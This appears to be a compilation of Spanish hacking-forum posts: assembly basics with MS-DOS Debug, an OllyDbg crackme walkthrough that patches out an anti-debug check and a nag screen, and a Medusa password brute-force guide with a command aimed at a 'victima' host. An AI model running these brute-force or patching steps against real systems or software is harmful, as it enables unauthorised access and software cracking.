Podemos observar que este método de representación de datos es muy ineficiente en el aspecto numérico, ya que en formato binario nos basta un solo byte para representar números de 0 a 255, en cambio con el código ASCII un byte puede representar únicamente un dígito.

Debido a esta ineficiencia, el código ASCII es principalmente utilizado en la memoria para representar texto.

Método BCD
BCD es un acrónimo de Binary Coded Decimal.
En esta notación se utilizan grupos de 4 bits para representar cada dígito decimal del 0 al 9. Con este método podemos representar dos dígitos por byte de información.

Aún cuando este método es mucho mas práctico para representación de números en la memoria en comparación al ASCII, todavía se queda por debajo del binario, ya que con un byte en el método BCD solo podemos representar dígitos del 0 al 99, en cambio, en formato binario podemos representar todos los dígitos desde 0 hasta 255.

Este formato es utilizado principalmente para representar números muy grandes en aplicaciones mercantiles ya que facilita las operaciones con los mismos evitando errores de redondeo.

Representación de punto flotante

Esta representación esta basada en la notación científica, esto es, representar un número en dos partes: su mantisa y su exponente.

Poniendo como ejemplo el número 1234000, podemos representarlo como 1.123*10^6, en esta última notación el exponente nos indica el número de espacios que hay que mover el espacio hacia la derecha para obtener el resultado original.

En caso de que el exponente fuera negativo nos estaría indicando el número de espacios que hay que recorrer el punto decimal hacia la izquierda para obtener el original.

Proceso de creación de un programa

Para la creación de un programa es necesario seguir cinco pasos: Diseño del algoritmo, codificación del mismo, su traducción a lenguaje máquina, la prueba del programa y la depuración.

En la etapa de diseño se plantea el problema a resolver y se propone la mejor solución, creando diagramas esquemáticos utilizados para el mejor planteamiento de la solución.

La codificación del programa consiste en escribir el programa en algún lenguaje de programación; en este caso específico en ensamblador, tomando como base la solución propuesta en el paso anterior.

La traducción al lenguaje máquina es la creación del programa objeto, esto es, el programa escrito como una secuencia de ceros y unos que pueda ser interpretado por el procesador.

La prueba del programa consiste en verificar que el programa funcione sin errores, o sea, que haga lo que tiene que hacer.

La última etapa es la eliminación de las fallas detectadas en el programa durante la fase de prueba. La corrección de una falla normalmente requiere la repetición de los pasos comenzando desde el primero o el segundo.

Para crear un programa en ensamblador existen dos opciones, la primera es utilizar el MASM (Macro Assembler, de Microsoft), y la segunda es utilizar el debugger, en esta primera sección utilizaremos este último ya que se encuentra en cualquier PC con el sistema operativo MS-DOS, lo cual lo pone al alcance de cualquier usuario que tenga acceso a una máquina con estas características.

Debug solo puede crear archivos con extensión .COM, y por las características de este tipo de programas no pueden ser mayores de 64 kb, además deben comenzar en el desplazamiento, offset, o dirección de memoria 0100H dentro del segmento específico.

Registros de la UCP

La UCP tiene 14 registros internos, cada uno de 16 bits. Los primeros cuatro, AX, BX, CX, y DX son registros de uso general y tambien pueden ser utilizados como registros de 8 bits, para utilizarlos como tales es necesario referirse a ellos como por ejemplo: AH y AL, que son los bytes alto (high) y bajo (low) del registro AX. Esta nomenclatura es aplicable también a los registros BX, CX y DX.

Los registros son conocidos por sus nombres específicos:

Código: text
AX Acumulador

BX Registro base

CX Registro contador

DX Registro de datos

DS Registro del segmento de datos

ES Registro del segmento extra

SS Registro del segmento de pila

CS Registro del segmento de código

BP Registro de apuntadores base

SI Registro índice fuente

DI Registro índice destino

SP Registro del apuntador de la pila

IP Registro de apuntador de siguiente instrucción

F  Registro de banderas



Es posible visualizar los valores de los registros internos de la UCP utilizando el programa Debug. Para empezar a trabajar con Debug digite en el prompt de la computadora:

Código: text
C:\> Debug [Enter]


En la siguiente línea aparecerá un guión, éste es el indicador del Debug, en este momento se pueden introducir las instrucciones del Debug. Utilizando el comando:

Código: text
 - r [Enter]


Se desplegaran todos los contenidos de los registros internos de la UCP; una forma alternativa de mostrarlos es usar el comando "r" utilizando como parámetro el nombre del registro cuyo valor se quiera visualizar. Por ejemplo:

Código: text
- rbx


Esta instrucción desplegará únicamente el contenido del registro BX y cambia el indicador del Debug de " - " a " : " Estando así el prompt es posible cambiar el valor del registro que se visualizó tecleando el nuevo valor y a continuación [Enter], o se puede dejar el valor anterior presionando [Enter] sin teclear ningún valor.

Es posible cambiar el valor del registro de banderas, así como utilizarlo como estructura de control en nuestros programas como se verá mas adelante. Cada bit del registro tiene un nombre y significado especial, la lista dada a continuación describe el valor de cada bit, tanto apagado como prendido y su relación con las operaciones del procesador:

Código: text
Overflow

     NV = no hay desbordamiento;

     OV = sí lo hay

Direction

     UP = hacia adelante;

     DN = hacia atrás;

Interrupts

     DI = desactivadas;

     EI = activadas

Sign

     PL = positivo;

     NG = negativo

Zero

     NZ = no es cero;

     ZR = sí lo es

Auxiliary Carry

     NA = no hay acarreo auxiliar;

     AC = hay acarreo auxiliar

Parity

     PO = paridad non;

     PE = paridad par;

Carry

     NC = no hay acarreo;

     CY = Sí lo hay 


La estructura del ensamblador

En el lenguaje ensamblador las lineas de código constan de dos partes, la primera es el nombre de la instrucción que se va a ejecutar y la segunda son los parámetros del comando u operandos. Por ejemplo:

Código: text
(asm):
add al,[170]


Los corchetes en el segundo parámetro nos indican que vamos a trabajar con el contenido de la casilla de memoria número 170 y no con el valor 170, a esto se le conoce como direccionamiento directo.

Nuestro primer programa

Vamos a crear un programa que sirva para ilustrar lo que hemos estado viendo, lo que haremos será una suma de dos valores que introduciremos directamente en el programa:

El primer paso es iniciar el Debug, este paso consiste únicamente en teclear debug [Enter] en el prompt del sistema operativo.

Para ensamblar un programa en el Debug se utiliza el comando "a" (assemble); cuando se utiliza este comando se le puede dar como parámetro la dirección donde se desea que se inicie el ensamblado.

Si se omite el parámetro el ensamblado se iniciará en la localidad especificada por CS:IP, usualmente 0100H, que es la localidad donde deben iniciar los programas con extensión .COM, y será la localidad que utilizaremos debido a que debug solo puede crear este tipo específico de programas.

Aunque en este momento no es necesario darle un parámetro al comando "a" es recomendable hacerlo para evitar problemas una vez que se haga uso de los registros CS:IP, por lo tanto tecleamos:

Código: text
- a0100 [Enter]


Al hacer esto aparecerá en la pantalla algo como: 0C1B:0100 y el cursor se posiciona a la derecha de estos números, nótese que los primeros cuatro dígitos (en sistema hexagesimal) pueden ser diferentes, pero los últimos cuatro deben ser 0100, ya que es la dirección que indicamos como inicio.

Ahora podemos introducir las instrucciones:

Código: text
(asm):
0C1B:0100 mov ax,0002 ;coloca el valor 0002 en el registro ax
0C1B:0103 mov bx,0004 ;coloca el valor 0004 en el registro bx
0C1B:0106 add ax,bx ;le adiciona al contenido de ax el contenido de bx
0C1B:0108 int 20 ; provoca la terminación del programa.


No es necesario escribir los comentarios que van después del ";". Una vez digitado el último comando, int 20, se le da [Enter] sin escribir nada mas, para volver al prompt del debuger.

La última línea escrita no es propiamente una instrucción de ensamblador, es una llamada a una interrupción del sistema operativo, estas interrupciones serán tratadas mas a fondo en un capítulo posterior, por el momento solo es necesario saber que nos ahorran un gran número de lineas y son muy útiles para acceder a funciones del sistema operativo.

Para ejecutar el programa que escribimos se utiliza el comando "g", al utilizarlo veremos que aparece un mensaje que dice: "Program terminated normally". Naturalmente con un mensaje como éste no podemos estar seguros que el programa haya hecho la suma, pero existe una forma sencilla de verificarlo, utilizando el comando "r" del Debug podemos ver los contenidos de todos los registros del procesador, simplemente teclee:

Código: text
- r [Enter]


aparecerá en pantalla cada registro con su respectivo valor actual:

Código: text
AX=0006BX=0004CX=0000DX=0000SP=FFEEBP=0000SI=0000DI=0000

    DS=0C1BES=0C1BSS=0C1BCS=0C1BIP=010A NV UP EI PL NZ NA PO NC

    0C1B:010A 0F DB oF


Existe la posibilidad de que los registros contengan valores diferentes, pero AX y BX deben ser los mismos, ya que son los que acabamos de modificar.

Otra forma de ver los valores, mientras se ejecuta el programa es utilizando como parámetro para "g" la dirección donde queremos que termine la ejecución y muestre los valores de los registros, en este caso sería: g108, esta instrucción ejecuta el programa, se detiene en la dirección 108 y muestra los contenidos de los registros.

También se puede llevar un seguimiento de lo que pasa en los registros utilizando el comando "t" (trace), la función de este comando es ejecutar línea por línea lo que se ensambló mostrando cada vez los contenidos de los registros. Para salir del Debug se utiliza el comando "q" (quit).

Guardar y cargar los programas

No sería práctico tener que digitar todo un programa cada vez que se necesite, para evitar eso es posible guardar un programa en el disco, con la enorme ventaja de que ya ensamblado no será necesario correr de nuevo debug para ejecutarlo.

Los pasos a seguir para guardar un programa ya almacenado en la memoria son:

- Obtener la longitud del programa restando la dirección final de la dirección inicial, naturalmente en sistema hexadecimal.
- Darle un nombre al programa y extensión
- Poner la longitud del programa en el registro CX
- Ordenar a Debug que escriba el programa en el disco.

Utilizando como ejemplo el programa del capítulo anterior tendremos una idea mas clara de como llevar estos pasos:

Al terminar de ensamblar el programa se vería así:

Código: text
0C1B:0100 mov ax,0002
0C1B:0103 mov bx,0004
0C1B:0106 add ax,bx
0C1B:0108 int 20


Para obtener la longitud de un programa se utiliza el comando "h", el cual nos muestra la suma y resta de dos números en hexadecimal. Para obtener la longitud del nuestro le proporcionamos como parámetros el valor de la dirección final de nuestro programa (10A) y el valor de la dirección inicial (100). El primer resultado que nos muestra el comando es la suma de los parámetros y el segundo es la resta.

El comando "n" nos permite poner un nombre al programa.

El comando "rcx" nos permite cambiar el contenido del registro CX al valor que obtuvimos del tamaño del archivo con "h", en este caso 000a, ya que nos interesa el resultado de la resta de la dirección inicial a la dirección final.

Por último el comando w escribe nuestro programa en el disco, indicándonos cuantos bytes escribió.

Para cargar un archivo ya guardado son necesarios dos pasos:

Proporcionar el nombre del archivo que se cargará.

Cargarlo utilizando el comando "l" (load).

Para obtener el resultado correcto de los siguientes pasos es necesario que previamente se haya creado el programa anterior.

Dentro del Debug escribimos lo siguiente:

Código: text
- n prueba.com
- l
- u 100 109


Código: text
0C3D:0100 B80200 MOV AX,0002
0C3D:0103 BB0400 MOV BX,0004
0C3D:0106 01D8 ADD AX,BX
0C3D:0108 CD20 INT 20


El último comando, "u", se utiliza para verificar que el programa se cargó en memoria, lo que hace es desensamblar el código y mostrarlo ya desensamblado. Los parámetros le indican a Debug desde donde y hasta donde desensamblar.

Debug siempre carga los programas en memoria en la dirección 100H, a menos que se le indique alguna otra.

Condicionales, ciclos y bifurcaciones

Estas estructuras, o formas de control le dan a la máquina un cierto grado de decisión basado en la información que recibe.

La forma mas sencilla de comprender este tema es por medio de ejemplos.

Vamos a crear tres programas que hagan lo mismo: desplegar un número determinado de veces una cadena de caracteres en la pantalla.

Código: text
    - a100
    0C1B:0100 jmp 125 ; brinca a la dirección 125H
    0C1B:0102 [Enter]

    - e 102 'Cadena a visualizar 15 veces' 0d 0a '$'

    - a125
    0C1B:0125 MOV CX,000F ; veces que se desplegara la cadena
    0C1B:0128 MOV DX,0102 ; copia cadena al registro DX
    0C1B:012B MOV AH,09 ; copia valor 09 al registro AH
    0C1B:012D INT 21 ; despliega cadena
    0C1B:012F LOOP 012D ; si CX>0 brinca a 012D
    0C1B:0131 INT 20 ; termina el programa.



Por medio del comando "e" es posible introducir una cadena de caracteres en una determinada localidad de memoria, dada como parámetro, la cadena se introduce entre comillas, le sigue un espacio, luego el valor hexadecimal del retorno de carro, un espacio, el valor de línea nueva y por último el símbolo '$' que el ensamblador interpreta como final de la cadena. La interrupción 21 utiliza el valor almacenado en el registro AH para ejecutar una determinada función, en este caso mostrar la cadena en pantalla, la cadena que muestra es la que está almacenada en el registro DX. La instrucción LOOP decrementa automáticamente el registro CX en uno y si no ha llegado el valor de este registro a cero brinca a la casilla indicada como parámetro, lo cual crea un ciclo que se repite el número de veces especificado por el valor de CX. La interrupción 20 termina la ejecución del programa.

Otra forma de realizar la misma función pero sin utilizar el comando LOOP es la siguiente:

Código: text
- a100
    0C1B:0100 jmp 125 ; brinca a la dirección 125H
    0C1B:0102 [Enter]
    - e 102 'Cadena a visualizar 15 veces' 0d 0a '$'
    - a125
    0C1B:0125 MOV BX,000F ; veces que se desplegara la cadena
    0C1B:0128 MOV DX,0102 ; copia cadena al registro DX
    0C1B:012B MOV AH,09 ; copia valor 09 al registro AH
    0C1B:012D INT 21 ; despliega cadena
    0C1B:012F DEC BX ; decrementa en 1 a BX
    0C1B:0130 JNZ 012D ; si BX es diferente a 0 brinca a 012D
    0C1B:0132 INT 20 ; termina el programa.



En este caso se utiliza el registro BX como contador para el programa, y por medio de la instrucción "DEC" se disminuye su valor en 1. La instrucción "JNZ" verifica si el valor de B es diferente a 0, esto con base en la bandera NZ, en caso afirmativo brinca hacia la dirección 012D. En caso contrario continúa la ejecución normal del programa y por lo tanto se termina.

Una última variante del programa es utilizando de nuevo a CX como contador, pero en lugar de utilizar LOOP utilizaremos decrementos a CX y comparación de CX a 0.

Código: text
- a100
    0C1B:0100 jmp 125 ; brinca a la dirección 125H
    0C1B:0102 [Enter]
    - e 102 'Cadena a visualizar 15 veces' 0d 0a '$'
    - a125
    0C1B:0125 MOV DX,0102 ; copia cadena al registro DX
    0C1B:0128 MOV CX,000F ; veces que se desplegara la cadena
    0C1B:012B MOV AH,09 ; copia valor 09 al registro AH
    0C1B:012D INT 21 ; despliega cadena
    0C1B:012F DEC CX ; decrementa en 1 a CX
    0C1B:0130 JCXZ 0134 ; si CX es igual a 0 brinca a 0134
    0C1B:0132 JMP 012D ; brinca a la dirección 012D
    0C1B:0134 INT 20 ; termina el programa


En este ejemplo se usó la instrucción JCXZ para controlar la condición de salto, el significado de tal función es: brinca si CX=0

El tipo de control a utilizar dependerá de las necesidades de programación en determinado momento.

Interrupciones

Definición de interrupción:

Una interrupción es una instrucción que detiene la ejecución de un programa para permitir el uso de la UCP a un proceso prioritario. Una vez concluido este último proceso se devuelve el control a la aplicación anterior.

Por ejemplo, cuando estamos trabajando con un procesador de palabras y en ese momento llega un aviso de uno de los puertos de comunicaciones, se detiene temporalmente la aplicación que estábamos utilizando para permitir el uso del procesador al manejo de la información que está llegando en ese momento. Una vez terminada la transferencia de información se reanudan las funciones normales del procesador de palabras.

Las interrupciones ocurren muy seguido, sencillamente la interrupción que actualiza la hora del día ocurre aproximadamente 18 veces por segundo. Para lograr administrar todas estas interrupciones, la computadora cuenta con un espacio de memoria, llamado memoria baja, donde se almacenan las direcciones de cierta localidad de memoria donde se encuentran un juego de instrucciones que la UCP ejecutará para después regresar a la aplicación en proceso.

En los programas anteriores hicimos uso de la interrupción número 20H para terminar la ejecución de nuestros programas, ahora utilizaremos otra interrupción para mostrar información en pantalla:

Utilizando Debug tecleamos:

Código: text
    - a100
    2C1B:0100 JMP 011D
    2C1B:0102 [ENTER]
    - E 102 'Hola, como estas.' 0D 0A '$'
    - A011D
    2C1B:011D MOV DX,0102
    2C1B:0120 MOV AH,09
    2C1B:0122 INT 21
    2C1B:0123 INT 20


En este programa la interrupción 21H manda al monitor la cadena localizada en la dirección a la que apunta el registro DX.

El valor que se le da a AH determina cual de las opciones de la interrupción 21H será utilizada, ya que esta interrupción cuenta con varias opciones.

El manejo directo de interrupciones es una de las partes mas fuertes del lenguaje ensamblador, ya que con ellas es posible controlar eficientemente todos los dispositivos internos y externos de una computadora gracias al completo control que se tiene sobre operaciones de entrada y salida. 

Fuente: Infierno Hacker
#97
Primeros pasos
Lo primero que aremos sera observar nuestra victima (el crackme), hasi que lo abrimos:


Lo primero que nos sale al correr el programa es esta molesta ventanita, mejor conocida como NAG, esta ventanita nos sale cuando no tenemos el programa registrado...


sigamos observando el crackme...
Lo que vemos es un textbox, un botón abajo... y al ultimo un label que dice "Sin Registrar"...
Me llamo la atencion el boton, porque esta desabilitado, le doy click... y no pasa nada, esto quiere decir que tendremos que habilitarlo :P...
Bueno ya basta de observar el crackme y vallamos a la mejor parte... OllyDBG

Con OllyDBG
Para empezar abrimos nuestro OllyDBG y decopilemos el crackme, nos saldra algo hasi:


Y ustedes diran ":O:O que instrucciones tan mas extrañas son esas.." pero la verdad son normales... ahorita veremos porque :P
Lo que aremos sera buscar todas las string's que allá en el programa así que hagamos lo siguiente:


Segundo click > Search For > All Referenced Text String
Le di hacia abajo, y me encontre con lo siguiente:


hay una instruccion en especial que me interesa... "IsDebuggerPressent", esta es una instruccion que se utiliza para todos los lenguajes de programacion y sirve para ver si el programa esta siendo debuggeado, ocea que si nosotros corremos nuestro programa en OllyDBG nos saldra lo siguiente:


Una ventanita que solo sale cuando esta siendo debuggeado el programa, no se preocupen esto se puede anular, ahorita les explico como...
Despues de picarle al boton "aceptar" se cerro el programa, corri denuevo el programa, y en lugar de picarle al boton, le pique a las tachitas pero salio lo mismo se cerro el programa. Esto es parte del programa, cuando detecta que el programa esta siendo debuggeado, se cierra el programa, para evitar que el programa sea crackiado.... pero esto no evita que el programa sea crackiado, lo unico que hace es molestar...
Continuemos!

Sigamos buscando strings... en este caso va a ser una en especial, la que hace que el programa se cierre cuando inicie el para evitar mas molestias y seguir crackiando nuestra aplicacion....
Como vimos, cuando detecta que esta siendo debuggeado sale un letrero con titulo "CrackMe!" y que dice "Cracker??" entonces busquemos eso en las string's...
Las encontre son las siguientes:


Damos click sobre cualquiera de las 2 (nos llevara casi a la misma parte, no importa sobre cual des click) y nos llevara a la siguiente zona:


Lo que les he mostrado es lo mas importante, les dire porque.
Para empezar vemos un salto (JE), ese es el salto que dice "Si es igual salto, si no no" entonces lo que hace hay es saltar si el programa esta siendo debuggeado lo que aremos sera parchar el codigo cambiando el JE por JMP

Les explicare algunas instrucciones usadas aqui:

Para empezar vemos las siguientes instrucciones:
Código: text
0040406F|  -  C745 8C AC3A4......   | Mov Dword PTR SS:[EBP-74], Prueba_D.0040...... |  UNICODE "CrackMe!"
00404081|  -  C745 9C 883A4......   | Mov Dword PTR SS:[EBP-64], Prueba_D.0040...... |  UNICODE "Cracker??!"

Que significa esto?? esto quiere decir que "CrackMe!" es el titulo de la ventana y que "Cracker??" es lo que dice en la ventana.

Código: text
0040409F|  -  FF15 2C104000   | CALL Dword PTR DS:[<&MSVBVM60.#595>] |  MSVBVM60.rtcMsgBox


Esta instruccion es la que hace que salga el mensage, si queremos que no salga este mensage podemos Nop'ear esta intruccion sin ningun error pero esto no va a evitar que se cierre el programa.

Código: text
004040C0|  -  FF15 10104000   | CALL Dword PTR DS:[<&MSVBVM60.__vbaEnd] |  MSVBVM60.__vbaEnd


Creo que con solo ver el "END" pueden dedusir que hace, lo que hace es cerrar la aplicacion vb... esta tambien la podemos nop'ear pero prefiero parchar el programa.

Bueno estas son algunas de las prinsipales instrucciones que aparecen en esta parte del codigo.
Continuemos!

Lo que aremos ahora sera hacer que el boton este activo para poder verificar nuestra clave.
Primero chequeemos cual es el nombre del boton, el nombre del boton es "Comprobar" pero como vemos, el boton inicia con la "C" subrayada esto quiere decir que su nombre seria "&Comprobar" ("&" en vb es para subrayar una letra) hasi que en la ventana prinsipal de OllyDBG precionemos:
Ctrl > B
Nos saldra la siguiente ventana:


Introducimos el nombre "&Comprobar", en mi caso solo puse "Comprobar" pero vean que tengo las dos opciones de abajo palomiadas.
Nos llevara a esta parte:


Principalmente vemos el nombre del boton que en este caso es "Command1" y 5 lineas mas abajo vemos lo que se ve en el boton "&Comprobar" (Comprobar).
Debajo podemos ver lineas que dicen "DB 04" "DB B0" etc.
Estas lineas son las propiedades del boton, TODAS LAS PROPIEDADES asi que podemos cambiarle todo ABSOLUTAMENTE TODO a nuestro gusto, en este caso queremos que el boton este activo.
Jugando con las propiedades me di cuenta que la propiedad de "Enabled" es la linea 11 contando hasia abajo del nombre del boton, ocea contamos 11 hacia abajo apartir de "&Comprobar", podemos ver que dice "DB 00" esto quiere decir que el boton esta enabled = false, porque ?? porque 0 es igual a false y 1 es igual a true, esto quiere decir que como el boton esta en "0" esta inactivo...
Lo que aremos nosotros sera poner que este activo, ¿Como hacer esto? pues oviamente cambiando el 0 por 1..


Damos segundo click > Binary > Edit o facilmente precionando
Ctrl + E
Y nos saldra una ventana como la siguiente:


Aqui es donde editamos el 0 por el 1.. (Cambiamos el segundo 0)
Y nuestro boton estara activo ahora.

Ahora eliminaremos la NAG, la ventana molesta que sale cuando iniciamos el programa. ¿Como hacer esto?
Busquemos en las string's el contenido de la ventana ("Tienes una version sin registrar"), damos doble click y nos enviara hasia aca:


Principalmente vemos el titulo de la ventana "CrackMe!" y despues vemos el contenido.
Un poco mas abajo vemos lo siguiente:
Código: text
00403FC8|  -  FF15 2C104000   | CALL Dword PTR DS:[<&MSVBVM60.#595] |  MSVBVM60.rtcMsgBox


Esta instruccion es la que nos manda la ventanita molesta del principio (NAG), lo que aremos sera nop'ear esta instruccion para que no salga la ventana..


Damos segundo click > Binary > Fill with NOPs
Y se quitara esa instruccion y nos saldra esto:


ocea que no nos saldra la ventana molesta (NAG).

Producto Final
Despues de realizar los cambios anteriores, si hisieron todo correctamente ya deberia estar nuestro programa listo para ser crackiado.
Ahora corramos el programa....
Prinsipalmente como siempre nos deberia salir la ventana molesta diciendonos que el programa no esta registrado blablabla, eso ya quedo en el pasado porque ya no nos salio.
Despues deberia detectar que el programa esta siendo debuggeado , pues en este caso no, porque lo parchamos asi que deberia correr sin ningun problema.
Despues hisimos que nuestro boton este activo y hasi deberia pasar, nuestro boton deberia funcionar.
Y listo nuestro programa esta preparado para ser crackiado :D:D.

Algunas instrucciones mas..
Aqui les van algunas otras instrucciones muy usadas:
Código: text
MSVBVM60.__vbaVarMove

Esta lo que hace es pasar el valor de una variante a otra.

Código: text
MSVBVM60.__vbaVarCopy

Copia el valor de una variante a otra.

Código: text
MSVBVM60.__vbaVarCmp

Compara dos variantes.

Estas solo son algunas de las muchas que hay.

CitarGreatz: IpKiss     &     w0rm
#98
un tutorial que explica detalladamente como  crear trainer específicamente como encontrar el address que está  dentro del ejecutable para crear un trainer genérico esto no tan solo  puede ser usado para juegos si no también para modificar(parchear) en  tiempo de ejecución.

Link del tutorial:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Autor: UND3R
Fuente: CrackSLatinoS
#99
GNU/Linux / Medusa
Julio 07, 2012, 11:54:12 AM

Lo instalaremos en Ubuntu:

1. abre la terminal y teclea esto.

Código: bash
sudo apt-get install medusa


no tienes que descargas libretas ni nada, todo ya viene con Ubuntu y en las ultimas versiones de Linux

2. para abrir o ejecutar medusa teclea esto en una terminal.

Código: bash
medusa


Con medusa puedes crackear por diccionario de una manera muy rápida los siguientes servicios.

Código: text
AFP
CVS
FTP
HTTP
IMAP
MS-SQL
MySQL
NetWare NCP
NNTP
PcAnywhere
POP3
PostgreSQL
REXEC
RLOGIN
RSH
SMBNT
SMTP-AUTH
SMTP-VRFY
SNMP
SSHv2
Subversion (SVN)
Telnet
VMware autenticacion Daemon (vmauthd)
VNC
Generico Wrapper


Como usar medusa: teclea en una terminal :

madusa -d

Con este comando pudieron ver los modulos adecuados a los cuales podemos atacar.

La sintaxis de una ataque normal seria así.

Código: bash
medusa -h www.victima.com -u usuario -P /home/stuxnet/crack_passwords.txt -M ssh -f


Donde esta -h No tienes permitido ver enlaces. Registrate o Entra a tu cuenta es el host o ip de la victima: -h 127.0.0.1, ahora la siguiente parte ? -u usuario? puede variar por que si tu te sabes el usuario simplemente colocas ?-u usuario? ahora si tambi?n intentas crackear el nombre de usuario hay tendr?a que ir la ruta del diccionario, ?-u /home/d14m4t3/crack_de_nombres_de_usuario.txt? recuerda, cambia la ruta ala tuya, ahora el siguiente paso, ?-P /home/d14m4nt3/crack_passwords.txt? es donde va a ir la ruta del diccionario de password, si tu te supieras la pass simplemente colocarias ?-P tupassword? seria raro que intentaras atacar por fuerza bruta y te supieras el pass y no el nombre de usuario jejeje.. ahora biene la ultima parte, ?-M ssh? este es el modulo al cual intentamos atacar, lo puedes reemplazar segun tu caso, telnet, ftp, ssh, HTTP, MySQL, MS-SQL.. etc.

parametros:

Código: text
-h -> el host victima
-v -> modo verbose (mas informacion level de 0 a 6 siendo el 6 mas alto)
-H -> si tenemos un archivo txt con una lista de hosts
-u -> el usuario al cual deseamos hacerle el cracking
-U -> un archivo txt con la lista de posibles usuarios (muy util si no sabemos que usuarios existen en el sistema)
-P -> Ubicacion del diccionario
-O -> Crea un archivo log
- e ns -> Verifica el password vacio o que ambos datos sean lo mismo
-M -> El modulo que deseamos emplear (sin la extension .mod)
-n -> por si el servicio esta corriendo en otro puerto diferente al default
-s -> Habilita ssl
-f -> detiene el ataque en el instante de encontrar un password valido
-b -> suprime los banners
#100
GNU/Linux / Editores hexadecimales
Junio 28, 2012, 11:56:23 AM
- Ghex, instalalo con sudo apt-get install ghex.

- Khexedit, te lo puedes descargar desde No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

- Okteta (omitid la bromas), lo instalas con sudo apt-get install okteta

- Wxhexeditor, puedes obtener un binario desde No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

- lfhex, lo instalas con sudo apt-get install lfhex.
#101
Phreak / Phone Remote Control V5.1
Junio 24, 2012, 08:56:03 PM

Phone Remote Control es un programa que te permitirá utilizar tu teléfono móvil para controlar las funciones básicas de diferentes programas utilizando, como vía de comunicación, una conexión Bluetooth o WIFI entre tu teléfono móvil y tu PC.Concretamente, con Bluetooth Remote Control podrás controlar las funciones básicas de programas como Winamp, Windows Media Player, PowerPoint, Media Player Classic, PowerDVD y Windows Media Center para Vista.

Para lograrlo, sólo tienes que instalar el programa en Windows, sincronizar tu dispositivo y establecer una conexión vía Bluetooth entre ambos periféricos.

Cuenta con Scripts para utilizar otras aplicaciones, que se pueden bajar de la Página oficial.

Requisitos
Para utilizar el control remoto del teléfono que usted necesita una conexión Bluetooth o WIFI y un PC equipado de Bluetooth o Wi-Fi de Java MIDP2.0 teléfono móvil.Requisitos para Windows
Teléfono de control remoto compatible con todas las soluciones Bluetooth y WIFI en el PC, y Windows 98, 2000, XP y Vista. El programa apoya las tres principales soluciones de Microsoft, Widcomm / Broadcom y Toshiba directa de la caja. Por lo tanto, ninguna necesidad de configuración de usuario! Todos los demás son apoyados a través de puerto COM de acceso:

* Microsoft Bluetooth solución
* Widcomm Bluetooth solución
* Toshiba Bluetooth solución (COM puerto detecta automáticamente)
* BlueSoleil Bluetooth solución (fácil paso a paso guía para configurar el puerto COM correcto)
* .Net Framework 1.1
* Todas las redes WIFI compatibles
* Probado en Seven "No compatible"

Requisitos para los teléfonos móviles

Java MIDP2.0 apoyo (Casi todos los teléfonos liberados desde 2005)
Bluetooth (con Java JSR-82) o WIFI.
Una gran cantidad de teléfonos móviles se liberan cada año. Es imposible mantener una lista actualizada de teléfonos compatibles. Pero si el teléfono está en libertad después de 2005, con Bluetooth o WIFI debe ser independiente del apoyo es de Nokia, Samsung, LG, SonyEricsson, Motorola, BlackBerry y otros fabricantes de teléfono.

IPhone no soportan Java MIDP2.0 y no es compatible

Enlaces Relacionados
ITunes

* Shows song name, artist & track time and UI objects
* Browse playlists, songs, artist, album and composers
* Search for songs
* Rank tracks
* Toggle shuffle
* Repeat track or library
* Play/pause, rewind, fast forward, change volume, previous/next track
* Mute

PowerPoint

* Shows next slide and slide notes
* Shows actual slides
* Play/stop presentation, previous/next slide
* Load recently used file
* Browse/Goto all/any slide
* Presentation time
* Scroll slide notes
* Vibrate when time expires

WinAMP

* Shows song name, artist & track time and UI objects
* Search for song and artists
* Play/pause, rewind, fast forward, change volume, previous/next track
* Toggle shuffle mode
* Change volume
* UI objects
* Toggle repeat mode

Windows Media Player

* Shows song name, artist & track time and UI objects
* Browse playlists and artists
* Rank tracks
* Toggle shuffle
* Repeat track or library
* Play/pause, rewind, fast forward, change volume, previous/next track
* Mute

Mouse mode

* Full support for controlling the PC mouse
* See the computer desktop on the phone
* Zoom in and out of the desktop
* B&W colors for faster response time
* Enter text

File Browser

* Allows launching of files

System

* Change system volume
* Start screensaver
* Lock workstation
* Shutdown Windows
* Start screensaver

Keymaps

* Acrobat Reader
* XingDVD Player
* Real Player
* ATI DVD Player
* BSplayer
* IrfanView
* Musicmatch Jukebox
* PowerDVD
* VLC Media Player
* Power Point (with keymap)
* WinAMP (with keymap)


No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#102

Un nuevo proyecto llamado CrowdRE tiene como objetivo hacer más fácil la ingeniería inversa de aplicaciones complejas trabajando en colaboración con otros usuarios. Normalmente, el proceso de revertir software a partir de un complicado binario puede consumir mucho tiempo, CrowdRE ayudará a acelerar este proceso a través del trabajo en equipo.

CrowdRE, que actualmente se considera en una etapa "alfa" del desarrollo, está disponible como un plug-in para IDA Pro 6.3.120531. Con el plug-in, un grupo de desarrolladores puede aplicar ingeniería inversa en una o más funciones de un binario y subir los resultados a un servidor en la nube que hace un seguimiento de todo en una base de datos central. Esto permite a los clientes beneficiarse de un trabajo que otros desarrolladores ya han completado y compartir los progresos que hacen con el resto de la comunidad. La base de datos permite cualquier búsqueda y cada función puede tener diferentes "commits" concurrentes.



La herramienta es libre y está siendo desarrollada por una empresa de seguridad llamada CrowdStrike. Georg Wicherski, investigador senior de seguridad de CrowdStrike, dice que el objetivo de la compañía es "ayudar a construir una base de datos pública de las funciones más conocidas para acelerar el análisis de componentes estándar", y agregó "también soportamos visibilidad de cambios basada en listas para dar a los usuarios control sobre quién más puede ver e importar sus contribuciones".

En los próximos días, los desarrolladores planean publicar una serie de entradas 'how-to', incluyendo vídeos en el blog oficial de CrowdStrike a fin de explicar los distintos casos de uso de CrowdRE. CrowdRE usa el servicio de autenticación de Google, así que se requiere una cuenta de Google para el registro.

Web del proyecto: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#103
Hacking / Top Post
Mayo 28, 2012, 08:29:52 PM

  • Este índice tiene el objetivo de destacar los posts más significantes del foro de hacking y quedará en constante actualización.

Documentación:






Redes:






Escáneo






Explotación

#104
